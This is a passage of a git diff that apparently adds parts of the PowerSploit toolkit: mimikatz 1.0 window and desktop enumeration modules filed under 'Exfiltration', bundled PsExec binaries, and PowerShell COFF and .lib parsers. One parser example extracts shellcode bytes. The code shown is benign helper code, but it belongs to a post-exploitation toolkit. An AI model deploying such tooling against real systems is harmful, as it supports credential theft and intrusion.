http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_windows.h" + +BOOL WINAPI mod_windows::enumHWNDCallback(HWND hwnd, pair<DWORD, vector<mod_windows::KIWI_HWND_ENTRY> *> * mesHWNDS) +{ + DWORD processId = 0; + if(DWORD threadId = GetWindowThreadProcessId(hwnd, &processId)) + { + if((mesHWNDS->first == 0) || (processId == mesHWNDS->first)) + { + KIWI_HWND_ENTRY monEntree = {hwnd, processId, threadId}; + mesHWNDS->second->push_back(monEntree); + } + } + return TRUE; +} + + +bool mod_windows::getHWNDsFromProcessId(vector<mod_windows::KIWI_HWND_ENTRY> * mesHWNDS, DWORD processId) +{ + return (EnumWindows(reinterpret_cast<WNDENUMPROC>(enumHWNDCallback), reinterpret_cast<LPARAM>(&make_pair<DWORD, vector<mod_windows::KIWI_HWND_ENTRY> *>(processId, mesHWNDS))) != FALSE); +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_windows.h b/Exfiltration/mimikatz-1.0/modules/mod_windows.h new file mode 100644 index 0000000..c5f9887 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_windows.h @@ -0,0 +1,22 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" + +class mod_windows +{ +public: + typedef struct _KIWI_HWND_ENTRY + { + HWND monHandle; + DWORD pid; + DWORD threadId; + } KIWI_HWND_ENTRY, *PKIWI_HWND_ENTRY; + + static bool getHWNDsFromProcessId(vector<mod_windows::KIWI_HWND_ENTRY> * mesHWNDS, DWORD processId = 0); +private: + static BOOL WINAPI enumHWNDCallback(HWND hwnd, pair<DWORD, vector<mod_windows::KIWI_HWND_ENTRY> *> * mesHWNDS); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.cpp b/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.cpp new file mode 100644 index 0000000..57b209e --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.cpp @@ -0,0 +1,29 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_winsta_desktop.h" + +BOOL CALLBACK mod_winsta_desktop::EnumWindowStationProc(_In_ LPTSTR lpszWindowStation, _In_ LPARAM lParam) +{ + reinterpret_cast<vector<wstring> *>(lParam)->push_back(reinterpret_cast<const wchar_t *>(lpszWindowStation)); + return TRUE; +} + +BOOL CALLBACK mod_winsta_desktop::EnumDesktopProc(_In_ LPTSTR lpszDesktop, _In_ LPARAM lParam) +{ + reinterpret_cast<vector<wstring> *>(lParam)->push_back(reinterpret_cast<const wchar_t *>(lpszDesktop)); + return TRUE; +} + + +bool mod_winsta_desktop::getWinstas(vector<wstring> * mesWinstas) +{ + return (EnumWindowStations(EnumWindowStationProc, reinterpret_cast<LPARAM>(mesWinstas)) != 0); +} + +bool mod_winsta_desktop::getDesktops(vector<wstring> * mesDesktop) +{ + return (EnumDesktops(NULL, EnumDesktopProc, reinterpret_cast<LPARAM>(mesDesktop)) != 0); +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.h b/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.h new file mode 100644 index 0000000..34b9a94 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.h @@ -0,0 +1,18 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" + +class mod_winsta_desktop +{ +private: + static BOOL CALLBACK EnumWindowStationProc(_In_ LPTSTR lpszWindowStation, _In_ LPARAM lParam); + static BOOL CALLBACK EnumDesktopProc(_In_ LPTSTR lpszDesktop, _In_ LPARAM lParam); + +public: + static bool getWinstas(vector<wstring> * mesWinstas); + static bool getDesktops(vector<wstring> * mesDesktop); // ! +}; diff --git a/Exfiltration/mimikatz-1.0/tools/PsExec.exe b/Exfiltration/mimikatz-1.0/tools/PsExec.exe Binary files differnew file mode 100644 index 0000000..ed67480 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/tools/PsExec.exe diff --git a/Exfiltration/mimikatz-1.0/tools/tee.exe b/Exfiltration/mimikatz-1.0/tools/tee.exe Binary files differnew file mode 100644 index 0000000..7b32b2a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/tools/tee.exe diff --git a/Exfiltration/mimikatz-1.0/tools/winmine.exe b/Exfiltration/mimikatz-1.0/tools/winmine.exe Binary files differnew file mode 100644 index 0000000..3833d6c --- /dev/null +++ b/Exfiltration/mimikatz-1.0/tools/winmine.exe diff --git a/PETools/Get-LibSymbols.format.ps1xml b/PETools/Get-LibSymbols.format.ps1xml new file mode 100644 index 0000000..5d4d848 --- /dev/null +++ b/PETools/Get-LibSymbols.format.ps1xml @@ -0,0 +1,31 @@ +<?xml version="1.0" encoding="utf-8" ?> +<Configuration> + <ViewDefinitions> + <View> + <Name>SymbolTypeView</Name> + <ViewSelectedBy> + <TypeName>COFF.SymbolInfo</TypeName> + </ViewSelectedBy> + <ListControl> + <ListEntries> + <ListEntry> + <ListItems> + <ListItem> + <PropertyName>SymbolType</PropertyName> + </ListItem> + <ListItem> + <PropertyName>Module</PropertyName> + </ListItem> + <ListItem> + <PropertyName>DecoratedName</PropertyName> + </ListItem> + <ListItem> + <PropertyName>UndecoratedName</PropertyName> + </ListItem> + </ListItems> + </ListEntry> + </ListEntries> + </ListControl> + </View> + </ViewDefinitions> +</Configuration> diff --git a/PETools/Get-LibSymbols.ps1 b/PETools/Get-LibSymbols.ps1 new file mode 100644 index 0000000..9864676 --- /dev/null +++ b/PETools/Get-LibSymbols.ps1 @@ -0,0 +1,282 @@ +function Get-LibSymbols +{ +<# +.SYNOPSIS + + Displays symbolic information from Windows lib files. + + PowerSploit Function: Get-LibSymbols + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + +.DESCRIPTION + + Get-LibSymbols parses and returns symbols in Windows .lib files + in both decorated and undecorated form (for C++ functions). + +.PARAMETER Path + + Specifies a path to one or more lib file locations. + +.EXAMPLE + + C:\PS>Get-LibSymbols -Path msvcrt.lib + +.EXAMPLE + + C:\PS>ls *.lib | Get-LibSymbols + +.INPUTS + + System.String[] + + You can pipe a file system path (in quotation marks) to Get-LibSymbols. + +.OUTPUTS + + COFF.SymbolInfo + +.LINK + + http://www.exploit-monday.com/ +#> + [CmdletBinding()] Param ( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [ValidateScript({ Test-Path $_ })] + [Alias('FullName')] + [String[]] + $Path + ) + + BEGIN + { + $Code = @' + using System; + using System.IO; + using System.Text; + using System.Runtime.InteropServices; + + namespace COFF + { + public class HEADER + { + public ushort Machine; + public ushort NumberOfSections; + public DateTime TimeDateStamp; + public uint PointerToSymbolTable; + public uint NumberOfSymbols; + public ushort SizeOfOptionalHeader; + public ushort Characteristics; + + public HEADER(BinaryReader br) + { + this.Machine = br.ReadUInt16(); + this.NumberOfSections = br.ReadUInt16(); + this.TimeDateStamp = (new DateTime(1970, 1, 1, 0, 0, 0)).AddSeconds(br.ReadUInt32()); + this.PointerToSymbolTable = br.ReadUInt32(); + this.NumberOfSymbols = br.ReadUInt32(); + this.SizeOfOptionalHeader = br.ReadUInt16(); + this.Characteristics = br.ReadUInt16(); + } + } + + public class IMAGE_ARCHIVE_MEMBER_HEADER + { + public string Name; + public DateTime Date; + public ulong Size; + public string EndHeader; + + public IMAGE_ARCHIVE_MEMBER_HEADER(BinaryReader br) + { + string tempName = Encoding.UTF8.GetString(br.ReadBytes(16)); + DateTime dt = new DateTime(1970, 1, 1, 0, 0, 0); + this.Name = tempName.Substring(0, tempName.IndexOf((Char) 47)); + this.Date = dt.AddSeconds(Convert.ToDouble(Encoding.UTF8.GetString(br.ReadBytes(12)).Split((Char) 20)[0])); + br.ReadBytes(20); // Skip over UserID, GroupID, and Mode. They are useless fields. + this.Size = Convert.ToUInt64(Encoding.UTF8.GetString(br.ReadBytes(10)).Split((Char) 20)[0]); + this.EndHeader = Encoding.UTF8.GetString(br.ReadBytes(2)); + } + } + + public class Functions + { + [DllImport("dbghelp.dll", SetLastError=true, PreserveSig=true)] + public static extern int UnDecorateSymbolName( + [In] [MarshalAs(UnmanagedType.LPStr)] string DecoratedName, + [Out] StringBuilder UnDecoratedName, + [In] [MarshalAs(UnmanagedType.U4)] uint UndecoratedLength, + [In] [MarshalAs(UnmanagedType.U4)] uint Flags); + } + } +'@ + + Add-Type -TypeDefinition $Code + + function Dispose-Objects + { + $BinaryReader.Close() + $FileStream.Dispose() + } + } + + PROCESS + { + foreach ($File in $Path) + { + # Resolve the absolute path of the lib file. [IO.File]::OpenRead requires an absolute path. + $LibFilePath = Resolve-Path $File + + # Pull out just the file name + $LibFileName = Split-Path $LibFilePath -Leaf + + $IMAGE_SIZEOF_ARCHIVE_MEMBER_HDR = 60 + $IMAGE_ARCHIVE_START = "!<arch>`n" # Magic used for lib files + $IMAGE_SIZEOF_LIB_HDR = $IMAGE_SIZEOF_ARCHIVE_MEMBER_HDR + $IMAGE_ARCHIVE_START.Length + $IMAGE_ARCHIVE_END = "```n" # Footer of an archive header + $SizeofCOFFFileHeader = 20 + + # Open the object file for reading + $FileStream = [IO.File]::OpenRead($LibFilePath) + + $FileLength = $FileStream.Length + + # Validate lib header size + if ($FileLength -lt $IMAGE_SIZEOF_LIB_HDR) + { + # You cannot parse the lib header if the file is not big enough to contain a lib header. + Write-Error "$($LibFileName) is too small to store a lib header." + $FileStream.Dispose() + return + } + + # Open a BinaryReader object for the lib file + $BinaryReader = New-Object IO.BinaryReader($FileStream) + + $ArchiveStart = [Text.Encoding]::UTF8.GetString($BinaryReader.ReadBytes(8)) + + if ($ArchiveStart -ne $IMAGE_ARCHIVE_START) + { + Write-Error "$($LibFileName) does not contain a valid lib header." + Dispose-Objects + return + } + + # Parse the first archive header + $ArchiveHeader = New-Object COFF.IMAGE_ARCHIVE_MEMBER_HEADER($BinaryReader) + + if ($ArchiveHeader.EndHeader -ne $IMAGE_ARCHIVE_END) + { + Write-Error "$($LibFileName) does not contain a valid lib header." + Dispose-Objects + return + } + + # Check for the existence of symbols + if ($ArchiveHeader.Size -eq 0) + { + Write-Warning "$($LibFileName) contains no symbols." + Dispose-Objects + return + } + + $NumberOfSymbols = $BinaryReader.ReadBytes(4) + + # The offsets in the first archive header of a Microsoft lib file are stored in big-endian format + if ([BitConverter]::IsLittleEndian) + { + [Array]::Reverse($NumberOfSymbols) + } + + $NumberOfSymbols = [BitConverter]::ToUInt32($NumberOfSymbols, 0) + + $SymbolOffsets = New-Object UInt32[]($NumberOfSymbols) + + foreach ($Offset in 0..($SymbolOffsets.Length - 1)) + { + $SymbolOffset = $BinaryReader.ReadBytes(4) + + if ([BitConverter]::IsLittleEndian) + { + [Array]::Reverse($SymbolOffset) + } + + $SymbolOffsets[$Offset] = [BitConverter]::ToUInt32($SymbolOffset, 0) + } + + $SymbolStringLength = $ArchiveHeader.Size + $IMAGE_SIZEOF_LIB_HDR - $FileStream.Position - 1 + # $SymbolStrings = [Text.Encoding]::UTF8.GetString($BinaryReader.ReadBytes($SymbolStringLength)).Split([Char] 0) + + # Write-Output $SymbolStrings + + # There will be many duplicate offset entries. Remove them. + $SymbolOffsetsSorted = $SymbolOffsets | Sort-Object -Unique + + $SymbolOffsetsSorted | ForEach-Object { + # Seek to the each repective offset in the file + $FileStream.Seek($_, 'Begin') | Out-Null + + $ArchiveHeader = New-Object COFF.IMAGE_ARCHIVE_MEMBER_HEADER($BinaryReader) + + # This is not a true COFF header. It's the same size and mostly resembles a standard COFF header + # but Microsoft placed a marker (0xFFFF) in the first WORD to indicate that the 'object file' + # consists solely of the module name and symbol. + $CoffHeader = New-Object COFF.HEADER($BinaryReader) + + # Check for 0xFFFF flag value + if ($CoffHeader.NumberOfSections -eq [UInt16]::MaxValue) + { + # Get the total length of the module and symbol name + $SymbolStringLength = $CoffHeader.NumberOfSymbols + $Symbols = [Text.Encoding]::UTF8.GetString($BinaryReader.ReadBytes($SymbolStringLength)).Split([Char] 0) + + $DecoratedSymbol = $Symbols[0] + $UndecoratedSymbol = '' + + # Default to a 'C' type symbol unless it starts with a '?' + $SymbolType = 'C' + + # Is the symbol a C++ type? + if ($DecoratedSymbol.StartsWith('?')) + { + $StrBuilder = New-Object Text.Stringbuilder(512) + # Magically undecorated the convoluted C++ symbol into a proper C++ function definition + [COFF.Functions]::UnDecorateSymbolName($DecoratedSymbol, $StrBuilder, $StrBuilder.Capacity, 0) | Out-Null + $UndecoratedSymbol = $StrBuilder.ToString() + $SymbolType = 'C++' + } + else + { + if ($DecoratedSymbol[0] -eq '_' -or $DecoratedSymbol[0] -eq '@') + { + $UndecoratedSymbol = $DecoratedSymbol.Substring(1).Split('@')[0] + } + else + { + $UndecoratedSymbol = $DecoratedSymbol.Split('@')[0] + } + } + + $SymInfo = @{ + DecoratedName = $DecoratedSymbol + UndecoratedName = $UndecoratedSymbol + Module = $Symbols[1] + SymbolType = $SymbolType + } + + $ParsedSymbol = New-Object PSObject -Property $SymInfo + $ParsedSymbol.PSObject.TypeNames[0] = 'COFF.SymbolInfo' + + Write-Output $ParsedSymbol + } + } + + # Close file and binaryreader objects + Dispose-Objects + } + } + + END {} +} diff --git a/PETools/Get-ObjDump.format.ps1xml b/PETools/Get-ObjDump.format.ps1xml new file mode 100644 index 0000000..25e13b8 --- /dev/null +++ b/PETools/Get-ObjDump.format.ps1xml @@ -0,0 +1,292 @@ +<?xml version="1.0" encoding="utf-8" ?> +<Configuration> + <ViewDefinitions> + <View> + <Name>ObjectFileView</Name> + <ViewSelectedBy> + <TypeName>COFF.OBJECT_FILE</TypeName> + </ViewSelectedBy> + <ListControl> + <ListEntries> + <ListEntry> + <ListItems> + <ListItem> + <PropertyName>COFFHeader</PropertyName> + </ListItem> + <ListItem> + <PropertyName>SectionHeaders</PropertyName> + </ListItem> + <ListItem> + <PropertyName>SymbolTable</PropertyName> + </ListItem> + </ListItems> + </ListEntry> + </ListEntries> + </ListControl> + </View> + <View> + <Name>COFFHeaderView</Name> + <ViewSelectedBy> + <TypeName>COFF.HEADER</TypeName> + </ViewSelectedBy> + <ListControl> + <ListEntries> + <ListEntry> + <ListItems> + <ListItem> + <PropertyName>Machine</PropertyName> + </ListItem> + <ListItem> + <PropertyName>NumberOfSections</PropertyName> + <FormatString>0x{0:X4}</FormatString> + </ListItem> + <ListItem> + <PropertyName>TimeDateStamp</PropertyName> + </ListItem> + <ListItem> + <PropertyName>PointerToSymbolTable</PropertyName> + <FormatString>0x{0:X8}</FormatString> + </ListItem> + <ListItem> + <PropertyName>NumberOfSymbols</PropertyName> + <FormatString>0x{0:X8}</FormatString> + </ListItem> + <ListItem> + <PropertyName>SizeOfOptionalHeader</PropertyName> + <FormatString>0x{0:X4}</FormatString> + </ListItem> + <ListItem> + <PropertyName>Characteristics</PropertyName> + </ListItem> + </ListItems> + </ListEntry> + </ListEntries> + </ListControl> + </View> + <View> + <Name>SectionHeaderView</Name> + <ViewSelectedBy> + <TypeName>COFF.SECTION_HEADER</TypeName> + </ViewSelectedBy> + <ListControl> + <ListEntries> + <ListEntry> + <ListItems> + <ListItem> + <PropertyName>Name</PropertyName> + </ListItem> + <ListItem> + <PropertyName>PhysicalAddress</PropertyName> + <FormatString>0x{0:X8}</FormatString> + </ListItem> + <ListItem> + <PropertyName>VirtualSize</PropertyName> + <FormatString>0x{0:X8}</FormatString> + </ListItem> + <ListItem> + <PropertyName>VirtualAddress</PropertyName> + <FormatString>0x{0:X8}</FormatString> + </ListItem> + <ListItem> + <PropertyName>SizeOfRawData</PropertyName> + <FormatString>0x{0:X8}</FormatString> + </ListItem> + <ListItem> + <PropertyName>PointerToRawData</PropertyName> + <FormatString>0x{0:X8}</FormatString> + </ListItem> + <ListItem> + <PropertyName>PointerToRelocations</PropertyName> + <FormatString>0x{0:X8}</FormatString> + </ListItem> + <ListItem> + <PropertyName>PointerToLinenumbers</PropertyName> + <FormatString>0x{0:X8}</FormatString> + </ListItem> + <ListItem> + <PropertyName>NumberOfRelocations</PropertyName> + <FormatString>0x{0:X4}</FormatString> + </ListItem> + <ListItem> + <PropertyName>NumberOfLinenumbers</PropertyName> + <FormatString>0x{0:X4}</FormatString> + </ListItem> + <ListItem> + <PropertyName>Characteristics</PropertyName> + </ListItem> + <ListItem> + <PropertyName>RawData</PropertyName> + </ListItem> + <ListItem> + <PropertyName>Relocations</PropertyName> + </ListItem> + </ListItems> + </ListEntry> + </ListEntries> + </ListControl> + </View> + <View> + <Name>SymbolTableView</Name> + <ViewSelectedBy> + <TypeName>COFF.SYMBOL_TABLE</TypeName> + </ViewSelectedBy> + <TableControl> + <AutoSize/> + <TableHeaders> + <TableColumnHeader> + <Label>Name</Label> + </TableColumnHeader> + <TableColumnHeader> + <Label>Value</Label> + </TableColumnHeader> + <TableColumnHeader> + <Label>SectionNumber</Label> + </TableColumnHeader> + <TableColumnHeader> + <Label>Type</Label> + </TableColumnHeader> + <TableColumnHeader> + <Label>StorageClass</Label> + </TableColumnHeader> + <TableColumnHeader> + <Label>NumberOfAuxSymbols</Label> + </TableColumnHeader> + <TableColumnHeader> + <Label>AuxSymbols</Label> + </TableColumnHeader> + </TableHeaders> + <TableRowEntries> + <TableRowEntry> + <TableColumnItems> + <TableColumnItem> + <PropertyName>Name</PropertyName> + </TableColumnItem> + <TableColumnItem> + <PropertyName>Value</PropertyName> + <FormatString>0x{0:X8}</FormatString> + </TableColumnItem> + <TableColumnItem> + <PropertyName>SectionNumber</PropertyName> + </TableColumnItem> + <TableColumnItem> + <PropertyName>Type</PropertyName> + </TableColumnItem> + <TableColumnItem> + <PropertyName>StorageClass</PropertyName> + </TableColumnItem> + <TableColumnItem> + <PropertyName>NumberOfAuxSymbols</PropertyName> + <FormatString>0x{0:X2}</FormatString> + </TableColumnItem> + <TableColumnItem> + <PropertyName>AuxSymbols</PropertyName> + </TableColumnItem> + </TableColumnItems> + </TableRowEntry> + </TableRowEntries> + </TableControl> + </View> + <View> + <Name>SectionDefinitionView</Name> + <ViewSelectedBy> + <TypeName>COFF.SECTION_DEFINITION</TypeName> + </ViewSelectedBy> + <TableControl> + <AutoSize/> + <TableHeaders> + <TableColumnHeader> + <Label>Length</Label> + </TableColumnHeader> + <TableColumnHeader> + <Label>NumberOfRelocations</Label> + </TableColumnHeader> + <TableColumnHeader> + <Label>NumberOfLinenumbers</Label> + </TableColumnHeader> + <TableColumnHeader> + <Label>CheckSum</Label> + </TableColumnHeader> + <TableColumnHeader> + <Label>Number</Label> + </TableColumnHeader> + <TableColumnHeader> + <Label>Selection</Label> + </TableColumnHeader> + </TableHeaders> + <TableRowEntries> + <TableRowEntry> + <TableColumnItems> + <TableColumnItem> + <PropertyName>Length</PropertyName> + <FormatString>0x{0:X8}</FormatString> + </TableColumnItem> + <TableColumnItem> + <PropertyName>NumberOfRelocations</PropertyName> + <FormatString>0x{0:X4}</FormatString> + </TableColumnItem> + <TableColumnItem> + <PropertyName>NumberOfLinenumbers</PropertyName> + <FormatString>0x{0:X4}</FormatString> + </TableColumnItem> + <TableColumnItem> + <PropertyName>CheckSum</PropertyName> + <FormatString>0x{0:X8}</FormatString> + </TableColumnItem> + <TableColumnItem> + <PropertyName>Number</PropertyName> + <FormatString>0x{0:X4}</FormatString> + </TableColumnItem> + <TableColumnItem> + <PropertyName>Selection</PropertyName> + <FormatString>0x{0:X2}</FormatString> + </TableColumnItem> + </TableColumnItems> + </TableRowEntry> + </TableRowEntries> + </TableControl> + </View> + <View> + <Name>RelocationView</Name> + <ViewSelectedBy> + <TypeName>COFF.RelocationEntry</TypeName> + </ViewSelectedBy> + <TableControl> + <AutoSize/> + <TableHeaders> + <TableColumnHeader> + <Label>VirtualAddress</Label> + </TableColumnHeader> + <TableColumnHeader> + <Label>SymbolTableIndex</Label> + </TableColumnHeader> + <TableColumnHeader> + <Label>Type</Label> + </TableColumnHeader> + <TableColumnHeader> + <Label>Name</Label> + </TableColumnHeader> + </TableHeaders> + <TableRowEntries> + <TableRowEntry> + <TableColumnItems> + <TableColumnItem> + <PropertyName>VirtualAddress</PropertyName> + <FormatString>0x{0:X8}</FormatString> + </TableColumnItem> + <TableColumnItem> + <PropertyName>SymbolTableIndex</PropertyName> + <FormatString>0x{0:X8}</FormatString> + </TableColumnItem> + <TableColumnItem> + <PropertyName>Type</PropertyName> + </TableColumnItem> + <TableColumnItem> + <PropertyName>Name</PropertyName> + </TableColumnItem> + </TableColumnItems> + </TableRowEntry> + </TableRowEntries> + </TableControl> + </View> + </ViewDefinitions> +</Configuration> diff --git a/PETools/Get-ObjDump.ps1 b/PETools/Get-ObjDump.ps1 new file mode 100644 index 0000000..2a8ebcb --- /dev/null +++ b/PETools/Get-ObjDump.ps1 @@ -0,0 +1,708 @@ +function Get-ObjDump +{ +<# +.SYNOPSIS + + Displays information about one or more Windows object files. + + PowerSploit Function: Get-ObjDump + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + +.DESCRIPTION + + Get-ObjDump parses and returns nearly identical infomation as the dumpbin + utility. By nature of Get-ObjDump returning objects though, it lends itself + much better to manipulation since every field is an object. + +.PARAMETER Path + + Specifies a path to one or more object file locations. + +.EXAMPLE + + C:\PS>Get-ObjDump -Path main.obj + +.EXAMPLE + + C:\PS>ls *.obj | Get-ObjDump + +.EXAMPLE + + C:\PS>$ObjectFile = Get-ObjDump -Path shellcode.obj + C:\PS>$CodeBytes = $ObjectFile.SectionHeaders | ? {$_.Name -eq '.text'} | % {$_.RawData} + + Description + ----------- + Pulls the raw bytes out of the text section. Note that in this form, + no relocations have been fixed up. + +.INPUTS + + System.String[] + + You can pipe a file system path (in quotation marks) to Get-ObjDump. + +.OUTPUTS + + COFF.OBJECT_FILE + +.LINK + + http://www.exploit-monday.com/ +#> + [CmdletBinding()] Param ( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)] + [ValidateScript({ Test-Path $_ })] + [String[]] + $Path + ) + + BEGIN + { + $Code = @' + using System; + using System.IO; + using System.Text; + + namespace COFF + { + public enum Machine : ushort + { + UNKNOWN = 0, + I386 = 0x014C, // Intel 386. + R3000 = 0x0162, // MIPS little-endian =0x160 big-endian + R4000 = 0x0166, // MIPS little-endian + R10000 = 0x0168, // MIPS little-endian + WCEMIPSV2 = 0x0169, // MIPS little-endian WCE v2 + ALPHA = 0x0184, // Alpha_AXP + SH3 = 0x01A2, // SH3 little-endian + SH3DSP = 0x01A3, + SH3E = 0x01A4, // SH3E little-endian + SH4 = 0x01A6, // SH4 little-endian + SH5 = 0x01A8, // SH5 + ARM = 0x01C0, // ARM Little-Endian + THUMB = 0x01C2, + ARMV7 = 0x01C4, // ARM Thumb-2 Little-Endian + AM33 = 0x01D3, + POWERPC = 0x01F0, // IBM PowerPC Little-Endian + POWERPCFP = 0x01F1, + IA64 = 0x0200, // Intel 64 + MIPS16 = 0x0266, // MIPS + ALPHA64 = 0x0284, // ALPHA64 + MIPSFPU = 0x0366, // MIPS + MIPSFPU16 = 0x0466, // MIPS + AXP64 = ALPHA64, + TRICORE = 0x0520, // Infineon + CEF = 0x0CEF, + EBC = 0x0EBC, // EFI public byte Code + AMD64 = 0x8664, // AMD64 (K8) + M32R = 0x9041, // M32R little-endian + ARM64 = 0xAA64, // ARMv8 in 64-bit mode + CEE = 0xC0EE + } + + [Flags] + public enum CoffHeaderCharacteristics : ushort + { + RELOCS_STRIPPED = 0x0001, // Relocation info stripped from file. + EXECUTABLE_IMAGE = 0x0002, // File is executable (i.e. no unresolved external references). + LINE_NUMS_STRIPPED = 0x0004, // Line nunbers stripped from file. + LOCAL_SYMS_STRIPPED = 0x0008, // Local symbols stripped from file. + AGGRESIVE_WS_TRIM = 0x0010, // Agressively trim working set + LARGE_ADDRESS_AWARE = 0x0020, // App can handle >2gb addresses + REVERSED_LO = 0x0080, // public bytes of machine public ushort are reversed. + BIT32_MACHINE = 0x0100, // 32 bit public ushort machine. + DEBUG_STRIPPED = 0x0200, // Debugging info stripped from file in .DBG file + REMOVABLE_RUN_FROM_SWAP = 0x0400, // If Image is on removable media =copy and run from the swap file. + NET_RUN_FROM_SWAP = 0x0800, // If Image is on Net =copy and run from the swap file. + SYSTEM = 0x1000, // System File. + DLL = 0x2000, // File is a DLL. + UP_SYSTEM_ONLY = 0x4000, // File should only be run on a UP machine + REVERSED_HI = 0x8000 // public bytes of machine public ushort are reversed. + } + + public class HEADER + { + public Machine Machine; + public ushort NumberOfSections; + public DateTime TimeDateStamp; + public uint PointerToSymbolTable; + public uint NumberOfSymbols; + public ushort SizeOfOptionalHeader; + public CoffHeaderCharacteristics Characteristics; + + public HEADER(BinaryReader br) + { + this.Machine = (Machine) br.ReadUInt16(); + this.NumberOfSections = br.ReadUInt16(); + this.TimeDateStamp = (new DateTime(1970, 1, 1, 0, 0, 0)).AddSeconds(br.ReadUInt32()); + this.PointerToSymbolTable = br.ReadUInt32(); + this.NumberOfSymbols = br.ReadUInt32(); + this.SizeOfOptionalHeader = br.ReadUInt16(); + this.Characteristics = (CoffHeaderCharacteristics) br.ReadUInt16(); + } + } + + [Flags] + public enum SectionHeaderCharacteristics : uint + { + TYPE_NO_PAD = 0x00000008, // Reserved. + CNT_CODE = 0x00000020, // Section contains code. + CNT_INITIALIZED_DATA = 0x00000040, // Section contains initialized data. + CNT_UNINITIALIZED_DATA = 0x00000080, // Section contains uninitialized data. + LNK_INFO = 0x00000200, // Section contains comments or some other type of information. + LNK_REMOVE = 0x00000800, // Section contents will not become part of image. + LNK_COMDAT = 0x00001000, // Section contents comdat. + NO_DEFER_SPEC_EXC = 0x00004000, // Reset speculative exceptions handling bits in the TLB entries for this section. + GPREL = 0x00008000, // Section content can be accessed relative to GP + MEM_FARDATA = 0x00008000, + MEM_PURGEABLE = 0x00020000, + MEM_16BIT = 0x00020000, + MEM_LOCKED = 0x00040000, + MEM_PRELOAD = 0x00080000, + ALIGN_1BYTES = 0x00100000, + ALIGN_2BYTES = 0x00200000, + ALIGN_4BYTES = 0x00300000, + ALIGN_8BYTES = 0x00400000, + ALIGN_16BYTES = 0x00500000, // Default alignment if no others are specified. + ALIGN_32BYTES = 0x00600000, + ALIGN_64BYTES = 0x00700000, + ALIGN_128BYTES = 0x00800000, + ALIGN_256BYTES = 0x00900000, + ALIGN_512BYTES = 0x00A00000, + ALIGN_1024BYTES = 0x00B00000, + ALIGN_2048BYTES = 0x00C00000, + ALIGN_4096BYTES = 0x00D00000, + ALIGN_8192BYTES = 0x00E00000, + ALIGN_MASK = 0x00F00000, + LNK_NRELOC_OVFL = 0x01000000, // Section contains extended relocations. + MEM_DISCARDABLE = 0x02000000, // Section can be discarded. + MEM_NOT_CACHED = 0x04000000, // Section is not cachable. + MEM_NOT_PAGED = 0x08000000, // Section is not pageable. + MEM_SHARED = 0x10000000, // Section is shareable. + MEM_EXECUTE = 0x20000000, // Section is executable. + MEM_READ = 0x40000000, // Section is readable. + MEM_WRITE = 0x80000000 // Section is writeable. + } + + public enum AMD64RelocationType : ushort + { + ABSOLUTE, + ADDR64, + ADDR32, + ADDR32NB, + REL32, + REL32_1, + REL32_2, + REL32_3, + REL32_4, + REL32_5, + SECTION, + SECREL, + SECREL7, + TOKEN, + SREL32, + PAIR, + SSPAN32 + } + + public enum ARMRelocationType : ushort + { + ABSOLUTE, + ADDR32, + ADDR32NB, + BRANCH24, + BRANCH11, + TOKEN, + BLX24 = 0x08, + BLX11 = 0x09, + SECTION = 0x0E, + SECREL = 0x0F, + MOV32A = 0x10, + MOV32T = 0x11, + BRANCH20T = 0x12, + BRANCH24T = 0x14, + BLX23T = 0x15 + } + + public enum ARMv8RelocationType : ushort + { + ABSOLUTE, + ADDR32, + ADDR32NB, + BRANCH26, + PAGEBASE_REL21, + REL21, + PAGEOFFSET_12A, + PAGEOFFSET_12L, + SECREL, + SECREL_LOW12A, + SECREL_HIGH12A, + SECREL_LOW12L, + TOKEN, + SECTION, + ADDR64 + } + + public enum X86RelocationType : ushort + { + ABSOLUTE, + DIR16, + DIR32 = 0x06, + DIR32NB = 0x07, + SEG12 = 0x09, + SECTION = 0x0A, + SECREL = 0x0B, + TOKEN = 0x0C, + SECREL7 = 0x0D, + REL32 = 0x14 + } + + public class RelocationEntry + { + public uint VirtualAddress; + public uint SymbolTableIndex; + public Enum Type; + public string Name; + + public RelocationEntry(BinaryReader br) + { + this.VirtualAddress = br.ReadUInt32(); + this.SymbolTableIndex = br.ReadUInt32(); + // Default to X86RelocationType. This will be changed once the processor type is determined + this.Type = (X86RelocationType) br.ReadUInt16(); + } + } + + public class SECTION_HEADER + { + public string Name; + public uint PhysicalAddress; + public uint VirtualSize; + public uint VirtualAddress; + public uint SizeOfRawData; + public uint PointerToRawData; + public uint PointerToRelocations; + public uint PointerToLinenumbers; + public ushort NumberOfRelocations; + public ushort NumberOfLinenumbers; + public SectionHeaderCharacteristics Characteristics; + public Byte[] RawData; + public RelocationEntry[] Relocations; + + public SECTION_HEADER(BinaryReader br) + { + this.Name = Encoding.UTF8.GetString(br.ReadBytes(8)).Split((Char) 0)[0]; + this.PhysicalAddress = br.ReadUInt32(); + this.VirtualSize = this.PhysicalAddress; + this.VirtualAddress = br.ReadUInt32(); + 